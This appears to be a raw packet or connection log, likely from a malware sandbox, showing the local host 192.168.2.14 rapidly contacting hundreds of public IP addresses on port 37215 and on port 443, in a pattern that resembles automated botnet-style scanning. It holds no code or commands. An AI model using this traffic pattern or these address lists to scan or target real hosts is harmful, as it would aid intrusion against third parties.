Jan 30, 2025 10:43:06.132652998 CET	36374	37215	192.168.2.14	197.171.102.195
Jan 30, 2025 10:43:06.133004904 CET	43494	37215	192.168.2.14	41.46.127.52
Jan 30, 2025 10:43:06.133004904 CET	43494	37215	192.168.2.14	41.46.127.52
Jan 30, 2025 10:43:06.133265972 CET	43770	37215	192.168.2.14	41.46.127.52
Jan 30, 2025 10:43:06.133630991 CET	35772	37215	192.168.2.14	197.191.245.38
Jan 30, 2025 10:43:06.133630991 CET	35772	37215	192.168.2.14	197.191.245.38
Jan 30, 2025 10:43:06.133908033 CET	36094	37215	192.168.2.14	197.191.245.38
Jan 30, 2025 10:43:06.134248018 CET	52950	37215	192.168.2.14	156.55.180.225
Jan 30, 2025 10:43:06.134248018 CET	52950	37215	192.168.2.14	156.55.180.225
Jan 30, 2025 10:43:06.134501934 CET	53256	37215	192.168.2.14	156.55.180.225
Jan 30, 2025 10:43:06.134824991 CET	37734	37215	192.168.2.14	156.244.153.180
Jan 30, 2025 10:43:06.134824991 CET	37734	37215	192.168.2.14	156.244.153.180
Jan 30, 2025 10:43:06.135083914 CET	38040	37215	192.168.2.14	156.244.153.180
Jan 30, 2025 10:43:06.135189056 CET	37215	58744	41.180.130.242	192.168.2.14
Jan 30, 2025 10:43:06.135452986 CET	49802	37215	192.168.2.14	156.46.13.57
Jan 30, 2025 10:43:06.135452986 CET	49802	37215	192.168.2.14	156.46.13.57
Jan 30, 2025 10:43:06.135700941 CET	50100	37215	192.168.2.14	156.46.13.57
Jan 30, 2025 10:43:06.135962009 CET	37215	41240	156.225.22.253	192.168.2.14
Jan 30, 2025 10:43:06.136039019 CET	43722	37215	192.168.2.14	197.50.34.79
Jan 30, 2025 10:43:06.136039019 CET	43722	37215	192.168.2.14	197.50.34.79
Jan 30, 2025 10:43:06.136224031 CET	37215	41530	156.225.22.253	192.168.2.14
Jan 30, 2025 10:43:06.136275053 CET	41530	37215	192.168.2.14	156.225.22.253
Jan 30, 2025 10:43:06.136307955 CET	44018	37215	192.168.2.14	197.50.34.79
Jan 30, 2025 10:43:06.136619091 CET	37215	39370	41.99.242.230	192.168.2.14
Jan 30, 2025 10:43:06.136640072 CET	42848	37215	192.168.2.14	41.175.68.121
Jan 30, 2025 10:43:06.136640072 CET	42848	37215	192.168.2.14	41.175.68.121
Jan 30, 2025 10:43:06.136909962 CET	43144	37215	192.168.2.14	41.175.68.121
Jan 30, 2025 10:43:06.137197018 CET	37215	36088	197.171.102.195	192.168.2.14
Jan 30, 2025 10:43:06.137258053 CET	36896	37215	192.168.2.14	197.103.208.53
Jan 30, 2025 10:43:06.137258053 CET	36896	37215	192.168.2.14	197.103.208.53
Jan 30, 2025 10:43:06.137500048 CET	37188	37215	192.168.2.14	197.103.208.53
Jan 30, 2025 10:43:06.137727976 CET	37215	43494	41.46.127.52	192.168.2.14
Jan 30, 2025 10:43:06.137861013 CET	41530	37215	192.168.2.14	156.225.22.253
Jan 30, 2025 10:43:06.138412952 CET	37215	35772	197.191.245.38	192.168.2.14
Jan 30, 2025 10:43:06.138991117 CET	37215	52950	156.55.180.225	192.168.2.14
Jan 30, 2025 10:43:06.139604092 CET	37215	37734	156.244.153.180	192.168.2.14
Jan 30, 2025 10:43:06.140197039 CET	37215	49802	156.46.13.57	192.168.2.14
Jan 30, 2025 10:43:06.140824080 CET	37215	43722	197.50.34.79	192.168.2.14
Jan 30, 2025 10:43:06.141663074 CET	37215	42848	41.175.68.121	192.168.2.14
Jan 30, 2025 10:43:06.142034054 CET	37215	36896	197.103.208.53	192.168.2.14
Jan 30, 2025 10:43:06.142664909 CET	37215	41530	156.225.22.253	192.168.2.14
Jan 30, 2025 10:43:06.142714024 CET	41530	37215	192.168.2.14	156.225.22.253
Jan 30, 2025 10:43:06.155180931 CET	36912	37215	192.168.2.14	41.158.143.19
Jan 30, 2025 10:43:06.155181885 CET	52392	37215	192.168.2.14	197.182.19.162
Jan 30, 2025 10:43:06.155183077 CET	39352	37215	192.168.2.14	41.47.146.109
Jan 30, 2025 10:43:06.155183077 CET	33106	37215	192.168.2.14	197.244.70.58
Jan 30, 2025 10:43:06.155183077 CET	44890	37215	192.168.2.14	156.209.197.148
Jan 30, 2025 10:43:06.155183077 CET	39394	37215	192.168.2.14	156.190.165.129
Jan 30, 2025 10:43:06.155183077 CET	38474	37215	192.168.2.14	197.251.13.231
Jan 30, 2025 10:43:06.155185938 CET	41768	37215	192.168.2.14	197.105.118.99
Jan 30, 2025 10:43:06.155185938 CET	34502	37215	192.168.2.14	156.51.86.220
Jan 30, 2025 10:43:06.155185938 CET	42304	37215	192.168.2.14	41.146.171.72
Jan 30, 2025 10:43:06.155185938 CET	57124	37215	192.168.2.14	197.23.77.148
Jan 30, 2025 10:43:06.155185938 CET	36574	37215	192.168.2.14	156.34.123.55
Jan 30, 2025 10:43:06.155201912 CET	57930	37215	192.168.2.14	156.250.179.179
Jan 30, 2025 10:43:06.155203104 CET	45868	37215	192.168.2.14	156.149.194.238
Jan 30, 2025 10:43:06.155204058 CET	40474	37215	192.168.2.14	41.77.182.85
Jan 30, 2025 10:43:06.155204058 CET	39668	37215	192.168.2.14	41.124.116.88
Jan 30, 2025 10:43:06.155205011 CET	58488	37215	192.168.2.14	41.139.22.90
Jan 30, 2025 10:43:06.155206919 CET	57468	37215	192.168.2.14	197.34.230.84
Jan 30, 2025 10:43:06.155206919 CET	33540	37215	192.168.2.14	197.71.120.86
Jan 30, 2025 10:43:06.155206919 CET	46020	37215	192.168.2.14	41.177.62.97
Jan 30, 2025 10:43:06.155210018 CET	37006	37215	192.168.2.14	41.189.133.67
Jan 30, 2025 10:43:06.155210972 CET	49304	37215	192.168.2.14	156.195.165.210
Jan 30, 2025 10:43:06.155210972 CET	39580	37215	192.168.2.14	41.93.210.48
Jan 30, 2025 10:43:06.160021067 CET	37215	52392	197.182.19.162	192.168.2.14
Jan 30, 2025 10:43:06.160032034 CET	37215	36912	41.158.143.19	192.168.2.14
Jan 30, 2025 10:43:06.160073042 CET	52392	37215	192.168.2.14	197.182.19.162
Jan 30, 2025 10:43:06.160100937 CET	36912	37215	192.168.2.14	41.158.143.19
Jan 30, 2025 10:43:06.160129070 CET	52392	37215	192.168.2.14	197.182.19.162
Jan 30, 2025 10:43:06.160129070 CET	52392	37215	192.168.2.14	197.182.19.162
Jan 30, 2025 10:43:06.160403967 CET	52650	37215	192.168.2.14	197.182.19.162
Jan 30, 2025 10:43:06.160780907 CET	36912	37215	192.168.2.14	41.158.143.19
Jan 30, 2025 10:43:06.160780907 CET	36912	37215	192.168.2.14	41.158.143.19
Jan 30, 2025 10:43:06.161031961 CET	37140	37215	192.168.2.14	41.158.143.19
Jan 30, 2025 10:43:06.164911032 CET	37215	52392	197.182.19.162	192.168.2.14
Jan 30, 2025 10:43:06.165143967 CET	37215	52650	197.182.19.162	192.168.2.14
Jan 30, 2025 10:43:06.165190935 CET	52650	37215	192.168.2.14	197.182.19.162
Jan 30, 2025 10:43:06.165203094 CET	52650	37215	192.168.2.14	197.182.19.162
Jan 30, 2025 10:43:06.165718079 CET	37215	36912	41.158.143.19	192.168.2.14
Jan 30, 2025 10:43:06.170134068 CET	37215	52650	197.182.19.162	192.168.2.14
Jan 30, 2025 10:43:06.170190096 CET	52650	37215	192.168.2.14	197.182.19.162
Jan 30, 2025 10:43:06.175781965 CET	37215	58744	41.180.130.242	192.168.2.14
Jan 30, 2025 10:43:06.179768085 CET	37215	52950	156.55.180.225	192.168.2.14
Jan 30, 2025 10:43:06.179780006 CET	37215	35772	197.191.245.38	192.168.2.14
Jan 30, 2025 10:43:06.179788113 CET	37215	43494	41.46.127.52	192.168.2.14
Jan 30, 2025 10:43:06.179796934 CET	37215	36088	197.171.102.195	192.168.2.14
Jan 30, 2025 10:43:06.179806948 CET	37215	39370	41.99.242.230	192.168.2.14
Jan 30, 2025 10:43:06.179811001 CET	37215	41240	156.225.22.253	192.168.2.14
Jan 30, 2025 10:43:06.182781935 CET	61319	443	192.168.2.14	37.118.246.227
Jan 30, 2025 10:43:06.182781935 CET	61319	443	192.168.2.14	202.222.27.221
Jan 30, 2025 10:43:06.182780981 CET	61319	443	192.168.2.14	109.20.95.164
Jan 30, 2025 10:43:06.182781935 CET	61319	443	192.168.2.14	202.84.8.74
Jan 30, 2025 10:43:06.182784081 CET	61319	443	192.168.2.14	123.211.71.173
Jan 30, 2025 10:43:06.182780981 CET	61319	443	192.168.2.14	178.55.140.11
Jan 30, 2025 10:43:06.182784081 CET	61319	443	192.168.2.14	210.89.210.68
Jan 30, 2025 10:43:06.182782888 CET	61319	443	192.168.2.14	109.18.73.68
Jan 30, 2025 10:43:06.182781935 CET	61319	443	192.168.2.14	212.176.49.239
Jan 30, 2025 10:43:06.182784081 CET	61319	443	192.168.2.14	42.71.114.188
Jan 30, 2025 10:43:06.182781935 CET	61319	443	192.168.2.14	117.101.27.11
Jan 30, 2025 10:43:06.182784081 CET	61319	443	192.168.2.14	202.69.247.47
Jan 30, 2025 10:43:06.182782888 CET	61319	443	192.168.2.14	148.71.237.97
Jan 30, 2025 10:43:06.182782888 CET	61319	443	192.168.2.14	118.239.170.177
Jan 30, 2025 10:43:06.182785034 CET	61319	443	192.168.2.14	148.165.162.153
Jan 30, 2025 10:43:06.182781935 CET	61319	443	192.168.2.14	212.58.16.153
Jan 30, 2025 10:43:06.182784081 CET	61319	443	192.168.2.14	212.50.50.197
Jan 30, 2025 10:43:06.182782888 CET	61319	443	192.168.2.14	202.145.149.147
Jan 30, 2025 10:43:06.182782888 CET	61319	443	192.168.2.14	94.93.37.236
Jan 30, 2025 10:43:06.182784081 CET	61319	443	192.168.2.14	79.10.34.148
Jan 30, 2025 10:43:06.182782888 CET	61319	443	192.168.2.14	117.150.7.175
Jan 30, 2025 10:43:06.182781935 CET	61319	443	192.168.2.14	210.4.1.138
Jan 30, 2025 10:43:06.182784081 CET	61319	443	192.168.2.14	123.63.103.238
Jan 30, 2025 10:43:06.182782888 CET	61319	443	192.168.2.14	212.70.247.228
Jan 30, 2025 10:43:06.182784081 CET	61319	443	192.168.2.14	118.25.65.152
Jan 30, 2025 10:43:06.182782888 CET	61319	443	192.168.2.14	5.191.39.147
Jan 30, 2025 10:43:06.182784081 CET	61319	443	192.168.2.14	123.187.153.47
Jan 30, 2025 10:43:06.182782888 CET	61319	443	192.168.2.14	178.207.144.99
Jan 30, 2025 10:43:06.182785034 CET	61319	443	192.168.2.14	118.2.184.221
Jan 30, 2025 10:43:06.182785034 CET	61319	443	192.168.2.14	210.184.22.138
Jan 30, 2025 10:43:06.182826042 CET	443	61319	123.211.71.173	192.168.2.14
Jan 30, 2025 10:43:06.182826042 CET	443	61319	109.20.95.164	192.168.2.14
Jan 30, 2025 10:43:06.182851076 CET	61319	443	192.168.2.14	42.77.213.143
Jan 30, 2025 10:43:06.182851076 CET	61319	443	192.168.2.14	117.181.100.182
Jan 30, 2025 10:43:06.182852030 CET	61319	443	192.168.2.14	123.174.145.72
Jan 30, 2025 10:43:06.182852030 CET	61319	443	192.168.2.14	123.85.48.23
Jan 30, 2025 10:43:06.182852030 CET	61319	443	192.168.2.14	79.137.168.10
Jan 30, 2025 10:43:06.182852983 CET	61319	443	192.168.2.14	117.230.180.26
Jan 30, 2025 10:43:06.182852983 CET	61319	443	192.168.2.14	2.125.110.254
Jan 30, 2025 10:43:06.182852030 CET	61319	443	192.168.2.14	79.251.102.67
Jan 30, 2025 10:43:06.182853937 CET	61319	443	192.168.2.14	210.104.71.155
Jan 30, 2025 10:43:06.182853937 CET	61319	443	192.168.2.14	79.151.169.238
Jan 30, 2025 10:43:06.182853937 CET	61319	443	192.168.2.14	118.245.30.32
Jan 30, 2025 10:43:06.182853937 CET	61319	443	192.168.2.14	210.113.127.116
Jan 30, 2025 10:43:06.182853937 CET	61319	443	192.168.2.14	202.88.18.138
Jan 30, 2025 10:43:06.182853937 CET	61319	443	192.168.2.14	202.154.36.114
Jan 30, 2025 10:43:06.182853937 CET	61319	443	192.168.2.14	117.21.206.214
Jan 30, 2025 10:43:06.182852983 CET	61319	443	192.168.2.14	94.180.62.19
Jan 30, 2025 10:43:06.182852983 CET	61319	443	192.168.2.14	117.66.82.9
Jan 30, 2025 10:43:06.182853937 CET	61319	443	192.168.2.14	79.71.203.141
Jan 30, 2025 10:43:06.182853937 CET	61319	443	192.168.2.14	94.143.253.169
Jan 30, 2025 10:43:06.182853937 CET	61319	443	192.168.2.14	148.94.194.169
Jan 30, 2025 10:43:06.182853937 CET	61319	443	192.168.2.14	42.106.84.2
Jan 30, 2025 10:43:06.182853937 CET	61319	443	192.168.2.14	148.184.46.150
Jan 30, 2025 10:43:06.182853937 CET	61319	443	192.168.2.14	79.206.161.113
Jan 30, 2025 10:43:06.182853937 CET	61319	443	192.168.2.14	212.206.137.85
Jan 30, 2025 10:43:06.182853937 CET	61319	443	192.168.2.14	79.253.165.132
Jan 30, 2025 10:43:06.182852983 CET	61319	443	192.168.2.14	178.32.209.23
Jan 30, 2025 10:43:06.182852983 CET	61319	443	192.168.2.14	118.7.103.98
Jan 30, 2025 10:43:06.182858944 CET	61319	443	192.168.2.14	5.117.60.138
Jan 30, 2025 10:43:06.182852983 CET	61319	443	192.168.2.14	148.246.254.85
Jan 30, 2025 10:43:06.182852983 CET	61319	443	192.168.2.14	109.107.218.209
Jan 30, 2025 10:43:06.182852983 CET	61319	443	192.168.2.14	148.239.188.71
Jan 30, 2025 10:43:06.182852983 CET	61319	443	192.168.2.14	117.73.42.49
Jan 30, 2025 10:43:06.182858944 CET	61319	443	192.168.2.14	148.226.252.142
Jan 30, 2025 10:43:06.182852983 CET	61319	443	192.168.2.14	42.17.42.157
Jan 30, 2025 10:43:06.182852983 CET	61319	443	192.168.2.14	202.164.71.118
Jan 30, 2025 10:43:06.182852983 CET	61319	443	192.168.2.14	5.41.80.192
Jan 30, 2025 10:43:06.182858944 CET	61319	443	192.168.2.14	148.9.134.103
Jan 30, 2025 10:43:06.182852983 CET	61319	443	192.168.2.14	123.165.154.123
Jan 30, 2025 10:43:06.182858944 CET	61319	443	192.168.2.14	178.44.164.6
Jan 30, 2025 10:43:06.182858944 CET	61319	443	192.168.2.14	5.176.122.191
Jan 30, 2025 10:43:06.182858944 CET	61319	443	192.168.2.14	178.67.101.28
Jan 30, 2025 10:43:06.182858944 CET	61319	443	192.168.2.14	37.240.235.127
Jan 30, 2025 10:43:06.182858944 CET	61319	443	192.168.2.14	117.85.187.226
Jan 30, 2025 10:43:06.182882071 CET	61319	443	192.168.2.14	212.229.129.104
Jan 30, 2025 10:43:06.182882071 CET	61319	443	192.168.2.14	109.202.15.149
Jan 30, 2025 10:43:06.182882071 CET	61319	443	192.168.2.14	178.227.69.27
Jan 30, 2025 10:43:06.182882071 CET	61319	443	192.168.2.14	37.151.84.183
Jan 30, 2025 10:43:06.182882071 CET	61319	443	192.168.2.14	202.163.221.203
Jan 30, 2025 10:43:06.182882071 CET	61319	443	192.168.2.14	2.130.4.121
Jan 30, 2025 10:43:06.182882071 CET	61319	443	192.168.2.14	118.58.173.149
Jan 30, 2025 10:43:06.182882071 CET	61319	443	192.168.2.14	212.103.52.214
Jan 30, 2025 10:43:06.182882071 CET	61319	443	192.168.2.14	2.238.177.241
Jan 30, 2025 10:43:06.182882071 CET	61319	443	192.168.2.14	2.202.201.150
Jan 30, 2025 10:43:06.182882071 CET	61319	443	192.168.2.14	94.35.240.29
Jan 30, 2025 10:43:06.182882071 CET	61319	443	192.168.2.14	148.179.68.85
Jan 30, 2025 10:43:06.182898998 CET	61319	443	192.168.2.14	79.163.69.227
Jan 30, 2025 10:43:06.182898998 CET	61319	443	192.168.2.14	79.213.251.196
Jan 30, 2025 10:43:06.182898998 CET	61319	443	192.168.2.14	37.177.242.14
Jan 30, 2025 10:43:06.182898998 CET	61319	443	192.168.2.14	109.28.71.87
Jan 30, 2025 10:43:06.182900906 CET	61319	443	192.168.2.14	5.44.8.188
Jan 30, 2025 10:43:06.182898998 CET	61319	443	192.168.2.14	117.196.225.43
Jan 30, 2025 10:43:06.182900906 CET	61319	443	192.168.2.14	5.154.0.204
Jan 30, 2025 10:43:06.182898998 CET	61319	443	192.168.2.14	37.137.81.242
Jan 30, 2025 10:43:06.182900906 CET	61319	443	192.168.2.14	2.135.49.107
Jan 30, 2025 10:43:06.182898998 CET	61319	443	192.168.2.14	148.227.82.16
Jan 30, 2025 10:43:06.182900906 CET	61319	443	192.168.2.14	118.127.147.101
Jan 30, 2025 10:43:06.182903051 CET	61319	443	192.168.2.14	210.38.41.253
Jan 30, 2025 10:43:06.182900906 CET	61319	443	192.168.2.14	117.162.132.40
Jan 30, 2025 10:43:06.182903051 CET	61319	443	192.168.2.14	117.41.59.19
Jan 30, 2025 10:43:06.182899952 CET	61319	443	192.168.2.14	210.202.163.36
Jan 30, 2025 10:43:06.182903051 CET	61319	443	192.168.2.14	118.147.192.71
Jan 30, 2025 10:43:06.182899952 CET	61319	443	192.168.2.14	94.5.181.237
Jan 30, 2025 10:43:06.182903051 CET	61319	443	192.168.2.14	117.150.101.219
Jan 30, 2025 10:43:06.182899952 CET	61319	443	192.168.2.14	37.156.112.252
Jan 30, 2025 10:43:06.182903051 CET	61319	443	192.168.2.14	148.105.130.233
Jan 30, 2025 10:43:06.182912111 CET	61319	443	192.168.2.14	37.72.110.71
Jan 30, 2025 10:43:06.182912111 CET	61319	443	192.168.2.14	212.163.106.72
Jan 30, 2025 10:43:06.182912111 CET	61319	443	192.168.2.14	202.132.14.50
Jan 30, 2025 10:43:06.182912111 CET	61319	443	192.168.2.14	212.180.243.59
Jan 30, 2025 10:43:06.182914019 CET	61319	443	192.168.2.14	118.119.94.240
Jan 30, 2025 10:43:06.182914019 CET	61319	443	192.168.2.14	5.102.226.3
Jan 30, 2025 10:43:06.182914019 CET	61319	443	192.168.2.14	148.104.207.74
Jan 30, 2025 10:43:06.182914019 CET	61319	443	192.168.2.14	210.158.236.250
Jan 30, 2025 10:43:06.182914019 CET	61319	443	192.168.2.14	109.246.8.254
Jan 30, 2025 10:43:06.182948112 CET	61319	443	192.168.2.14	123.84.234.236
Jan 30, 2025 10:43:06.182948112 CET	61319	443	192.168.2.14	123.221.86.29
Jan 30, 2025 10:43:06.182948112 CET	61319	443	192.168.2.14	210.227.42.97
Jan 30, 2025 10:43:06.182948112 CET	61319	443	192.168.2.14	202.169.190.249
Jan 30, 2025 10:43:06.182950974 CET	61319	443	192.168.2.14	178.46.25.147
Jan 30, 2025 10:43:06.182948112 CET	61319	443	192.168.2.14	5.70.194.181
Jan 30, 2025 10:43:06.182950974 CET	61319	443	192.168.2.14	5.109.113.229
Jan 30, 2025 10:43:06.182948112 CET	61319	443	192.168.2.14	79.223.16.52
Jan 30, 2025 10:43:06.182950020 CET	61319	443	192.168.2.14	210.4.52.32
Jan 30, 2025 10:43:06.182952881 CET	61319	443	192.168.2.14	148.253.174.149
Jan 30, 2025 10:43:06.182950020 CET	61319	443	192.168.2.14	178.36.40.221
Jan 30, 2025 10:43:06.182952881 CET	61319	443	192.168.2.14	123.157.180.210
Jan 30, 2025 10:43:06.182951927 CET	61319	443	192.168.2.14	123.97.142.196
Jan 30, 2025 10:43:06.182948112 CET	61319	443	192.168.2.14	2.83.232.102
Jan 30, 2025 10:43:06.182951927 CET	61319	443	192.168.2.14	123.141.225.242
Jan 30, 2025 10:43:06.182950974 CET	61319	443	192.168.2.14	148.104.34.197
Jan 30, 2025 10:43:06.182948112 CET	61319	443	192.168.2.14	37.87.87.218
Jan 30, 2025 10:43:06.182950020 CET	61319	443	192.168.2.14	210.21.137.243
Jan 30, 2025 10:43:06.182948112 CET	61319	443	192.168.2.14	212.27.251.37
Jan 30, 2025 10:43:06.182951927 CET	61319	443	192.168.2.14	94.157.182.223
Jan 30, 2025 10:43:06.182948112 CET	61319	443	192.168.2.14	210.22.29.35
Jan 30, 2025 10:43:06.182951927 CET	61319	443	192.168.2.14	94.34.49.138
Jan 30, 2025 10:43:06.182950020 CET	61319	443	192.168.2.14	94.83.39.178
Jan 30, 2025 10:43:06.182950020 CET	61319	443	192.168.2.14	42.14.38.40
Jan 30, 2025 10:43:06.182952881 CET	61319	443	192.168.2.14	5.232.67.64
Jan 30, 2025 10:43:06.182950020 CET	61319	443	192.168.2.14	5.133.132.144
Jan 30, 2025 10:43:06.182948112 CET	61319	443	192.168.2.14	118.61.94.243
Jan 30, 2025 10:43:06.182950020 CET	61319	443	192.168.2.14	210.172.162.172
Jan 30, 2025 10:43:06.182948112 CET	61319	443	192.168.2.14	178.215.30.46
Jan 30, 2025 10:43:06.182950020 CET	61319	443	192.168.2.14	210.71.245.248
Jan 30, 2025 10:43:06.182979107 CET	61319	443	192.168.2.14	212.222.222.17
Jan 30, 2025 10:43:06.182979107 CET	61319	443	192.168.2.14	118.11.254.12
Jan 30, 2025 10:43:06.182984114 CET	61319	443	192.168.2.14	109.20.95.164
Jan 30, 2025 10:43:06.182984114 CET	61319	443	192.168.2.14	210.245.63.76
Jan 30, 2025 10:43:06.182984114 CET	61319	443	192.168.2.14	94.170.36.36
Jan 30, 2025 10:43:06.182984114 CET	61319	443	192.168.2.14	109.4.116.35
Jan 30, 2025 10:43:06.182984114 CET	61319	443	192.168.2.14	5.113.110.95
Jan 30, 2025 10:43:06.182985067 CET	61319	443	192.168.2.14	79.200.84.20
Jan 30, 2025 10:43:06.182985067 CET	61319	443	192.168.2.14	118.33.153.60
Jan 30, 2025 10:43:06.182985067 CET	61319	443	192.168.2.14	2.196.40.37
Jan 30, 2025 10:43:06.182985067 CET	61319	443	192.168.2.14	42.133.211.190
Jan 30, 2025 10:43:06.182985067 CET	61319	443	192.168.2.14	37.92.84.205
Jan 30, 2025 10:43:06.182985067 CET	61319	443	192.168.2.14	79.212.188.214
Jan 30, 2025 10:43:06.182985067 CET	61319	443	192.168.2.14	109.134.194.183
Jan 30, 2025 10:43:06.182985067 CET	61319	443	192.168.2.14	109.213.7.103
Jan 30, 2025 10:43:06.182985067 CET	61319	443	192.168.2.14	117.92.245.253
Jan 30, 2025 10:43:06.182985067 CET	61319	443	192.168.2.14	2.2.48.59
Jan 30, 2025 10:43:06.182987928 CET	61319	443	192.168.2.14	148.235.186.75
Jan 30, 2025 10:43:06.182987928 CET	61319	443	192.168.2.14	210.211.132.117
Jan 30, 2025 10:43:06.182987928 CET	61319	443	192.168.2.14	94.185.117.174
Jan 30, 2025 10:43:06.182988882 CET	61319	443	192.168.2.14	94.134.101.220
Jan 30, 2025 10:43:06.182988882 CET	61319	443	192.168.2.14	79.55.65.120
Jan 30, 2025 10:43:06.182991028 CET	61319	443	192.168.2.14	123.103.148.133
Jan 30, 2025 10:43:06.182991028 CET	61319	443	192.168.2.14	109.110.66.207
Jan 30, 2025 10:43:06.182991982 CET	61319	443	192.168.2.14	2.98.30.172
Jan 30, 2025 10:43:06.182991028 CET	61319	443	192.168.2.14	210.126.250.90
Jan 30, 2025 10:43:06.182991028 CET	61319	443	192.168.2.14	123.211.71.173
Jan 30, 2025 10:43:06.182991028 CET	61319	443	192.168.2.14	178.222.11.248
Jan 30, 2025 10:43:06.182991028 CET	61319	443	192.168.2.14	117.112.67.190
Jan 30, 2025 10:43:06.182991028 CET	61319	443	192.168.2.14	212.67.179.66
Jan 30, 2025 10:43:06.182991028 CET	61319	443	192.168.2.14	212.217.254.242
Jan 30, 2025 10:43:06.182991028 CET	61319	443	192.168.2.14	109.197.76.208
Jan 30, 2025 10:43:06.182991028 CET	61319	443	192.168.2.14	109.155.94.219
Jan 30, 2025 10:43:06.182997942 CET	61319	443	192.168.2.14	2.153.24.70
Jan 30, 2025 10:43:06.182997942 CET	61319	443	192.168.2.14	42.10.14.51
Jan 30, 2025 10:43:06.182997942 CET	61319	443	192.168.2.14	117.217.185.11
Jan 30, 2025 10:43:06.183011055 CET	61319	443	192.168.2.14	117.149.126.86
Jan 30, 2025 10:43:06.183013916 CET	61319	443	192.168.2.14	2.127.50.247
Jan 30, 2025 10:43:06.183013916 CET	61319	443	192.168.2.14	2.210.109.102
Jan 30, 2025 10:43:06.183016062 CET	61319	443	192.168.2.14	5.224.150.12
Jan 30, 2025 10:43:06.183016062 CET	61319	443	192.168.2.14	202.190.222.5
Jan 30, 2025 10:43:06.183016062 CET	61319	443	192.168.2.14	118.96.193.73
Jan 30, 2025 10:43:06.183016062 CET	61319	443	192.168.2.14	118.47.202.135
Jan 30, 2025 10:43:06.183022022 CET	61319	443	192.168.2.14	2.214.49.135
Jan 30, 2025 10:43:06.183022022 CET	61319	443	192.168.2.14	178.117.153.244
Jan 30, 2025 10:43:06.183022022 CET	61319	443	192.168.2.14	94.224.171.128
Jan 30, 2025 10:43:06.183027029 CET	61319	443	192.168.2.14	79.102.103.94
Jan 30, 2025 10:43:06.183027029 CET	61319	443	192.168.2.14	117.3.26.112
Jan 30, 2025 10:43:06.183027029 CET	61319	443	192.168.2.14	79.203.18.31
Jan 30, 2025 10:43:06.183027983 CET	61319	443	192.168.2.14	178.121.89.178
Jan 30, 2025 10:43:06.183027029 CET	61319	443	192.168.2.14	117.29.211.38
Jan 30, 2025 10:43:06.183027029 CET	61319	443	192.168.2.14	5.188.243.1
Jan 30, 2025 10:43:06.183027029 CET	61319	443	192.168.2.14	148.234.96.209
Jan 30, 2025 10:43:06.183053970 CET	61319	443	192.168.2.14	5.157.106.143
Jan 30, 2025 10:43:06.183053970 CET	61319	443	192.168.2.14	123.218.7.161
Jan 30, 2025 10:43:06.183054924 CET	61319	443	192.168.2.14	212.213.152.14
Jan 30, 2025 10:43:06.183058977 CET	61319	443	192.168.2.14	202.16.219.128
Jan 30, 2025 10:43:06.183058977 CET	61319	443	192.168.2.14	5.24.63.35
Jan 30, 2025 10:43:06.183059931 CET	61319	443	192.168.2.14	202.29.220.160
Jan 30, 2025 10:43:06.183059931 CET	61319	443	192.168.2.14	178.234.181.252
Jan 30, 2025 10:43:06.183059931 CET	61319	443	192.168.2.14	148.135.26.38
Jan 30, 2025 10:43:06.183059931 CET	61319	443	192.168.2.14	94.5.64.127
Jan 30, 2025 10:43:06.183063030 CET	61319	443	192.168.2.14	5.151.191.22
Jan 30, 2025 10:43:06.183059931 CET	61319	443	192.168.2.14	118.70.237.194
Jan 30, 2025 10:43:06.183063984 CET	61319	443	192.168.2.14	109.213.2.53
Jan 30, 2025 10:43:06.183059931 CET	61319	443	192.168.2.14	37.191.123.237
Jan 30, 2025 10:43:06.183063030 CET	61319	443	192.168.2.14	79.139.103.98
Jan 30, 2025 10:43:06.183059931 CET	61319	443	192.168.2.14	37.154.106.238
Jan 30, 2025 10:43:06.183063984 CET	61319	443	192.168.2.14	118.204.199.67
Jan 30, 2025 10:43:06.183063030 CET	61319	443	192.168.2.14	5.230.210.56
Jan 30, 2025 10:43:06.183059931 CET	61319	443	192.168.2.14	118.150.244.132
Jan 30, 2025 10:43:06.183063030 CET	61319	443	192.168.2.14	210.223.210.241
Jan 30, 2025 10:43:06.183063030 CET	61319	443	192.168.2.14	79.172.141.76
Jan 30, 2025 10:43:06.183059931 CET	61319	443	192.168.2.14	210.252.192.82
Jan 30, 2025 10:43:06.183063030 CET	61319	443	192.168.2.14	94.39.93.99
Jan 30, 2025 10:43:06.183079958 CET	61319	443	192.168.2.14	94.32.181.72
Jan 30, 2025 10:43:06.183079958 CET	61319	443	192.168.2.14	210.188.176.126
Jan 30, 2025 10:43:06.183083057 CET	61319	443	192.168.2.14	2.190.176.149
Jan 30, 2025 10:43:06.183084011 CET	61319	443	192.168.2.14	123.172.202.156
Jan 30, 2025 10:43:06.183080912 CET	61319	443	192.168.2.14	202.100.253.15
Jan 30, 2025 10:43:06.183084011 CET	61319	443	192.168.2.14	148.13.147.247
Jan 30, 2025 10:43:06.183080912 CET	61319	443	192.168.2.14	178.125.10.93
Jan 30, 2025 10:43:06.183085918 CET	61319	443	192.168.2.14	79.8.129.50
Jan 30, 2025 10:43:06.183080912 CET	61319	443	192.168.2.14	202.251.28.3
Jan 30, 2025 10:43:06.183079958 CET	61319	443	192.168.2.14	109.189.254.12
Jan 30, 2025 10:43:06.183087111 CET	61319	443	192.168.2.14	2.222.29.216
Jan 30, 2025 10:43:06.183087111 CET	61319	443	192.168.2.14	94.78.142.96
Jan 30, 2025 10:43:06.183089018 CET	61319	443	192.168.2.14	210.119.187.153
Jan 30, 2025 10:43:06.183089018 CET	61319	443	192.168.2.14	210.154.98.153
Jan 30, 2025 10:43:06.183089972 CET	61319	443	192.168.2.14	2.108.94.71
Jan 30, 2025 10:43:06.183089018 CET	61319	443	192.168.2.14	123.231.49.166
Jan 30, 2025 10:43:06.183089972 CET	61319	443	192.168.2.14	123.156.228.106
Jan 30, 2025 10:43:06.183092117 CET	61319	443	192.168.2.14	109.108.73.50
Jan 30, 2025 10:43:06.183092117 CET	61319	443	192.168.2.14	5.173.213.177
Jan 30, 2025 10:43:06.183095932 CET	61319	443	192.168.2.14	210.162.47.150
Jan 30, 2025 10:43:06.183096886 CET	61319	443	192.168.2.14	37.183.39.107
Jan 30, 2025 10:43:06.183101892 CET	61319	443	192.168.2.14	109.214.235.91
Jan 30, 2025 10:43:06.183109999 CET	61319	443	192.168.2.14	212.66.42.26
Jan 30, 2025 10:43:06.183115959 CET	61319	443	192.168.2.14	2.83.236.103
Jan 30, 2025 10:43:06.183119059 CET	61319	443	192.168.2.14	79.97.136.46
Jan 30, 2025 10:43:06.183119059 CET	61319	443	192.168.2.14	79.31.150.215
Jan 30, 2025 10:43:06.183131933 CET	61319	443	192.168.2.14	202.46.58.84
Jan 30, 2025 10:43:06.183139086 CET	61319	443	192.168.2.14	37.164.78.166
